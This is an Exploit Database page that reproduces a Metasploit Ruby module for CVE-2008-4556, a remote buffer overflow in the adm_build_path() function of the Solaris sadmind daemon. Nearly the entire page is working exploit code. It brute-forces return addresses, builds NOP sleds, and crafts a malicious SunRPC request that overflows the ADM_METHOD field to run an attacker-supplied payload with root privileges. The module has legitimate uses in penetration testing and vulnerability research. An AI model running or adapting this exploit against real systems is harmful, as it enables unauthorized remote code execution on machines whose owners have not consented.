Sun Solaris sadmind – ‘adm_build_path()’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • solaris
• 来源：https://www.exploit-db.com/exploits/16325/

• ##
  # $Id: sadmind_adm_build_path.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::SunRPC
  	include Msf::Exploit::Brute
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow vulnerability in adm_build_path()
  				function of sadmind daemon.
  
  				The distributed system administration daemon (sadmind) is the daemon used by
  				Solstice AdminSuite applications to perform distributed system administration
  				operations.
  
  				The sadmind daemon is started automatically by the inetd daemon whenever a
  				request to invoke an operation is received. The sadmind daemon process
  				continues to run for 15 minutes after the last request is completed, unless a
  				different idle-time is specified with the -i command line option. The sadmind
  				daemon may be started independently from the command line, for example, at
  				system boot time. In this case, the -i option has no effect; sadmind continues
  				to run, even if there are no active requests.
  			},
  			'Author' =>
  				[
  					'Adriano Lima <adriano@risesecurity.org>',
  					'ramon',
  				],
  			'Version'=> '$Revision: 9669 $',
  			'Arch' => ARCH_X86,
  			'Platform' => 'solaris',
  			'References' =>
  				[
  					['CVE', '2008-4556'],
  					['OSVDB', '49111'],
  					['URL', 'http://risesecurity.org/advisories/RISE-2008001.txt'],
  				],
  			'Privileged' => true,
  			'License'=> MSF_LICENSE,
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'BadChars' => "\x00",
  				},
  			'Targets' =>
  				[
  					[
  						'Sun Solaris 9 x86 Brute Force',
  						{
  							'Arch' => [ ARCH_X86 ],
  							'Platform' => 'solaris',
  							'Nops' => 1024 * 32,
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0x08062030 },
  									'Stop'=> { 'Ret' => 0x08072030 },
  									'Step'=> 1024 * 30,
  								}
  						}
  					],
  					[
  						'Sun Solaris 9 x86',
  						{
  							'Nops' => 1024 * 4,
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0x08066a60 + 2048 },
  									'Stop'=> { 'Ret' => 0x08066a60 + 2048 },
  									'Step'=> 1,
  								}
  						}
  					],
  					[
  						'Debug',
  						{
  							'Nops' => 1024 * 4,
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xaabbccdd },
  									'Stop'=> { 'Ret' => 0xaabbccdd },
  									'Step'=> 1,
  								}
  						}
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Oct 14 2008'
  		))
  
  	end
  
  	def brute_exploit(brute_target)
  		sunrpc_create('udp', 100232, 10)
  
  		unless @nops
  			print_status('Creating nop block...')
  			if target['Nops'] > 0
  				@nops = make_nops(target['Nops'])
  			else
  				@nops = ''
  			end
  		end
  
  		print_status("Trying to exploit sadmind with address 0x%.8x..." % brute_target['Ret'])
  
  		hostname = 'localhost'
  
  		# buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')
  		buf1 = "A" * 1017 + [brute_target['Ret']].pack('L')
  		buf2 = @nops + payload.encoded
  
  		header =
  			XDR.encode(0) * 7 +
  			XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \
  				4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \
  				hostname, 'system', rand_text_alpha(16))
  
  		body =
  			do_int('ADM_FW_VERSION', 1) +
  			do_string('ADM_LANG', 'C') +
  			do_string('ADM_REQUESTID', '00009:000000000:0') +
  			do_string('ADM_CLASS', 'system') +
  			do_string('ADM_CLASS_VERS', '2.1') +
  			do_string('ADM_METHOD', buf1) +
  			do_string('ADM_HOST', hostname) +
  			do_string('ADM_CLIENT_HOST', hostname) +
  			do_string('ADM_CLIENT_DOMAIN', '') +
  			do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
  			do_int('ADM_FENCE', 0) +
  			do_string('X', buf2) +
  			XDR.encode('netmgt_endofargs')
  
  		request = header + XDR.encode(header.length + body.length - 326) + body
  
  		begin
  			# two seconds timeout for brute force
  			sunrpc_call(1, request, 2)
  		rescue Rex::Proto::SunRPC::RPCTimeout
  			print_status('Server did not respond, this is expected')
  		end
  
  		sunrpc_destroy
  		handler
  	end
  
  	def do_string(str1, str2)
  		XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
  	end
  
  	def do_int(str, int)
  		XDR.encode(str, 3, 4, int, 0, 0)
  	end
  
  end